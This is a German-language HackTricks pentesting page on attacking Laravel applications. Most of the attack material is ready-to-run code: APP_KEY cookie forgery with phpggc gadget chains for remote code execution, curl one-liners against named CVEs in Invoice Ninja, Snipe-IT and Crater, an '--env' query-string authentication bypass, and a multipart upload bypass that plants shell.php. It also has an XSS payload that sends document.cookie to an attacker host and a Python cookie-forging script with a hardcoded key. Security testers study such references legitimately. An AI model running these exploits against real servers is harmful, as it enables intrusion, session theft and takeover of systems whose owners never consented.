Laravel
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Laravel SQLInjection
Weitere Informationen dazu: https://stitcher.io/blog/unsafe-sql-functions-in-laravel
APP_KEY & Verschlüsselungs-Interna (Laravel \u003e=5.6)
Laravel verwendet AES-256-CBC (oder GCM) mit HMAC-Integrität unter der Haube (Illuminate\\Encryption\\Encrypter).
Der rohe Chiffretext, der schließlich an den Client gesendet wird, ist Base64 eines JSON-Objekts, wie:
{
"iv" : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
"tag" : "" // only used for AEAD ciphers (GCM)
}
encrypt($value, $serialize=true) wendet standardmäßig serialize() auf den Klartext an, während
decrypt($payload, $unserialize=true) den entschlüsselten Wert automatisch unserialize().
Daher kann jeder Angreifer, der den 32-Byte-Secret APP_KEY kennt, ein verschlüsseltes, PHP-serialisiertes Objekt erzeugen und mittels magischer Methoden (__wakeup, __destruct, …) RCE erlangen.
Minimaler PoC (framework ≥9.x):
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
Injiziere die erzeugte Zeichenkette in jeden verwundbaren decrypt()-Sink (route param, cookie, session, …).
laravel-crypto-killer 🧨
laravel-crypto-killer automatisiert den gesamten Prozess und fügt einen praktischen bruteforce-Modus hinzu:
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
Das Skript unterstützt transparent sowohl CBC- als auch GCM-Payloads und regeneriert das HMAC-/Tag-Feld.
Reale verwundbare Muster
| Projekt | Verwundbare sink | Gadget chain |
|---|---|---|
| Invoice Ninja ≤v5 (CVE-2024-55555) | /route/{hash} → decrypt($hash) | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabled | Laravel/RCE9 |
| Crater (CVE-2024-55556) | SESSION_DRIVER=cookie → laravel_session cookie | Laravel/RCE15 |
Der Exploit-Workflow ist immer:
- Obtaining oder Brute-Forcing des 32-Byte
APP_KEY. - Build a gadget chain mit PHPGGC (zum Beispiel
Laravel/RCE13,Laravel/RCE9oderLaravel/RCE15). - Encrypt the serialized gadget mit laravel_crypto_killer.py und dem wiederhergestellten
APP_KEY. - Deliver the ciphertext an den verwundbaren
decrypt()sink (Route-Parameter, Cookie, Session …), um RCE auszulösen.
Nachfolgend sind prägnante One-Liner, die den vollständigen Angriffsweg für jedes oben erwähnte reale CVE demonstrieren:
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"
# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
Massale APP_KEY-Entdeckung durch Cookie brute-force
Da jede frische Laravel-Antwort mindestens ein verschlüsseltes Cookie setzt (XSRF-TOKEN und in der Regel laravel_session), public internet scanners (Shodan, Censys, …) leak millions of ciphertexts, die offline angegriffen werden können.
Wesentliche Ergebnisse der von Synacktiv veröffentlichten Forschung (2024–2025):
- Datensatz July 2024 » 580 k Tokens, 3.99 % Schlüssel geknackt (≈23 k)
- Datensatz May 2025 » 625 k Tokens, 3.56 % Schlüssel geknackt
-
1 000 Server weiterhin verwundbar gegenüber dem Legacy-CVE-2018-15133, weil Tokens direkt serialisierte Daten enthalten.
- Massive Key-Wiederverwendung – die Top-10 APP_KEYs sind hartkodierte Defaults, die mit kommerziellen Laravel-Templates (UltimatePOS, Invoice Ninja, XPanel, …) ausgeliefert werden.
Das private Go-Tool nounours bringt AES-CBC/GCM bruteforce-Durchsatz auf ~1,5 Milliarden Versuche/s und reduziert das Knacken des gesamten Datensatzes auf <2 Minuten.
CVE-2024-52301 – HTTP argv/env override → auth bypass
Wenn PHP’s register_argc_argv=On gesetzt ist (typisch bei vielen Distros), exponiert PHP ein argv-Array für HTTP-Requests, das aus dem Query-String abgeleitet wird. Neuere Laravel-Versionen parsen diese „CLI-ähnlichen“ args und respektieren --env=<value> zur Laufzeit. Dadurch lässt sich die Framework-Umgebung für die aktuelle HTTP-Anfrage allein durch Anhängen an eine beliebige URL umschalten:
-
Schneller Check:
-
Besuche
https://target/?--env=localoder einen beliebigen String und achte auf umgebungsabhängige Änderungen (Debug-Banner, Footer, ausführliche Fehler). Wenn der String reflektiert wird, funktioniert das Override. -
Beispiel zur Auswirkung (Business-Logik, die einer speziellen env vertraut):
-
Wenn die App Branches wie
if (app()->environment('preprod')) { /* bypass auth */ }enthält, kannst du dich ohne gültige Zugangsdaten authentifizieren, indem du den Login-POST an sendest: -
POST /login?--env=preprod -
Hinweise:
-
Funktioniert pro Anfrage, keine Persistenz.
-
Erfordert
register_argc_argv=Onund eine verwundbare Laravel-Version, die argv für HTTP liest. -
Nützliches Primitive, um ausführlichere Fehler in „debug“-Envs sichtbar zu machen oder um environment-geschützte Codepfade auszulösen.
-
Gegenmaßnahmen:
-
Deaktiviere
register_argc_argvfür PHP-FPM/Apache. -
Upgrade Laravel, sodass argv bei HTTP-Anfragen ignoriert wird, und entferne jegliche Vertrauensannahmen bezüglich
app()->environment()in Produktionsrouten.
Minimaler Exploit-Flow (Burp):
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf
CVE-2025-27515 – Wildcard file validation bypass (files.*)
Laravel 10.0–10.48.28, 11.0.0–11.44.0 und 12.0.0–12.1.0 lassen manipulierte Multipart-Requests Regeln, die an files.* / images.* gebunden sind, komplett umgehen. Der Parser, der Wildcard-Schlüssel expandiert, kann durch angreifer-kontrollierte Platzhalter (z. B. vorbefüllte __asterisk__-Segmente) verwirrt werden, sodass das Framework UploadedFile-Objekte hydratisiert, ohne jemals image, mimes, dimensions, max usw. auszuführen. Sobald ein bösartiges Blob in Storage::putFile* landet, kann man zu jedem der in HackTricks bereits gelisteten file-upload primitives pivotieren (web shells, log poisoning, signed job deserialization, …).
Hunting for the pattern
- Statisch:
rg -n "files\\.\*" -g"*.php" app/oder untersucheFormRequest-Klassen nachrules()-Methoden, die Arrays zurückgeben, diefiles.*enthalten. - Dynamisch: Hook
Illuminate\Validation\Validator::validate()mittels Xdebug oder Laravel Telescope in einer Pre-Production-Umgebung, um jede Anfrage zu protokollieren, die die verwundbare Regel trifft. - Middleware/Route-Review: Endpunkte, die mehrere Dateien bündeln (Avatar-Importer, Dokumentenportale, Drag-and-Drop-Komponenten), neigen dazu,
files.*zu vertrauen.
Practical exploitation workflow
- Nimm einen legitimen Upload auf und spiele ihn in Burp Repeater erneut ab.
- Dupliziere denselben Part, ändere aber den Feldnamen so, dass er bereits Platzhalter-Token enthält (z. B.
files[0][__asterisk__payload]) oder verschachtle ein weiteres Array (files[0][alt][0]). In verwundbaren Builds wird dieser zweite Part nie validiert, wird aber trotzdem zu einemUploadedFile-Eintrag. - Richte die manipulierte Datei auf eine PHP-Payload (
shell.php,.phar, polyglot) und zwinge die Anwendung, sie auf einem webzugänglichen Speicher abzulegen (häufigpublic/, sobaldphp artisan storage:linkaktiviert ist).
curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'
Keep fuzzing key names (files.__dot__0, files[0][0], files[0][uuid] …) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.
Laravel-Tricks
Debugging-Modus
Wenn Laravel im Debugging-Modus ist, kannst du auf den Code und sensible Daten zugreifen.
Zum Beispiel http://127.0.0.1:8000/profiles:
.png)
Dies wird üblicherweise benötigt, um andere Laravel RCE CVEs auszunutzen.
CVE-2024-13918 / CVE-2024-13919 – reflected XSS in Whoops debug pages
- Betroffen: Laravel 11.9.0–11.35.1 mit
APP_DEBUG=true(entweder global oder erzwungen durch falsch konfigurierte env-Overrides wie CVE-2024-52301). - Primitive: Jede nicht abgefangene Exception, die von Whoops gerendert wird, gibt Teile der Anfrage/Route ohne HTML encoding aus, sodass das Injizieren von
<img src>/<script>in eine Route oder einen Request-Parameter zu einem in der Response gespeicherten XSS vor der Authentifizierung führt. - Auswirkung:
XSRF-TOKENstehlen, stack traces mit Geheimnissen leak, einen browserbasierten Pivot öffnen, um_ignition/execute-solutionin Opfer-Sessions anzusprechen, oder mit passwortlosen Dashboards verketten, die auf Cookies angewiesen sind.
Minimal PoC:
// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});
curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"
Selbst wenn der Debug-Modus normalerweise deaktiviert ist, führt das Erzwingen eines Fehlers über Hintergrund-Jobs oder Queue-Worker und das Abfragen des _ignition/health-check-Endpunkts häufig dazu, dass Staging-Hosts aufgedeckt werden, die diese Kette noch offenlegen.
Fingerprinting & exponierte Dev-Endpunkte
Schnelle Prüfungen, um einen Laravel-Stack und gefährliche Dev-Tools, die in Produktion exponiert sind, zu identifizieren:
/_ignition/health-check→ Ignition vorhanden (Debug-Tool, das bei CVE-2021-3129 verwendet wird). Wenn es ohne Authentifizierung erreichbar ist, könnte die App im Debug-Modus sein oder falsch konfiguriert./_debugbar→ Laravel Debugbar assets; deutet oft auf Debug-Modus hin./telescope→ Laravel Telescope (Dev-Monitor). Wenn öffentlich, erwarte umfassende Informationsoffenlegung und mögliche Aktionen./horizon→ Queue-Dashboard; Versionsangaben und manchmal CSRF-geschützte Aktionen.X-Powered-By, CookiesXSRF-TOKENundlaravel_sessionsowie Blade-Fehlerseiten helfen ebenfalls beim Fingerprinting.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
.env
Laravel speichert die APP, die zum Verschlüsseln der Cookies und anderer Zugangsdaten verwendet wird, in einer Datei namens .env, die durch Path Traversal unter: /../.env zugänglich sein kann.
Laravel zeigt diese Informationen außerdem auf der Debug-Seite an (die erscheint, wenn Laravel einen Fehler feststellt und das Debugging aktiviert ist).
Mit dem geheimen APP_KEY von Laravel kannst du Cookies entschlüsseln und erneut verschlüsseln:
Cookie entschlüsseln
Hilfsprogramm zum Ent- und Verschlüsseln von Cookies (Python)
```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value)
def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic[‘mac’] value = bytes(dic[‘value’], ‘utf-8’) iv = bytes(dic[‘iv’], ‘utf-8’) if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return ‘’
def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, ‘utf-8’) value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {‘iv’: iv.decode(), ‘value’: value.decode(), ‘mac’: mac} return base64.b64encode(bytes(json.dumps(dic), ‘utf-8’))
app_key =‘HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=’ key = base64.b64decode(app_key) decrypt(‘eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9’) #b’{“data”:“a:6:{s:6:"_token";s:40:"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV";s:8:"username";s:8:"guestc32";s:5:"order";s:2:"id";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e’ encrypt(b’{“data”:“a:6:{s:6:"_token";s:40:"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw";s:8:"username";s:8:"guest60e";s:5:"order";s:8:"lolololo";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605141157}’)
</details>
### Laravel Deserialization RCE
Verwundbare Versionen: 5.5.40 und 5.6.x bis 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Informationen zur deserialization vulnerability finden Sie hier: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Zum Testen und Ausnutzen können Sie [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) verwenden.
Oder Sie können es auch mit metasploit ausnutzen: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
Eine weitere deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
## Referenzen
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
* [GHSA-78fx-h6xr-vch4 – Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
* [SBA Research – CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)
> [!TIP]
> Lernen & üben Sie AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lernen & üben Sie GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Lernen & üben Sie Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Unterstützen Sie HackTricks</summary>
>
> - Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
> - **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
>
> </details>


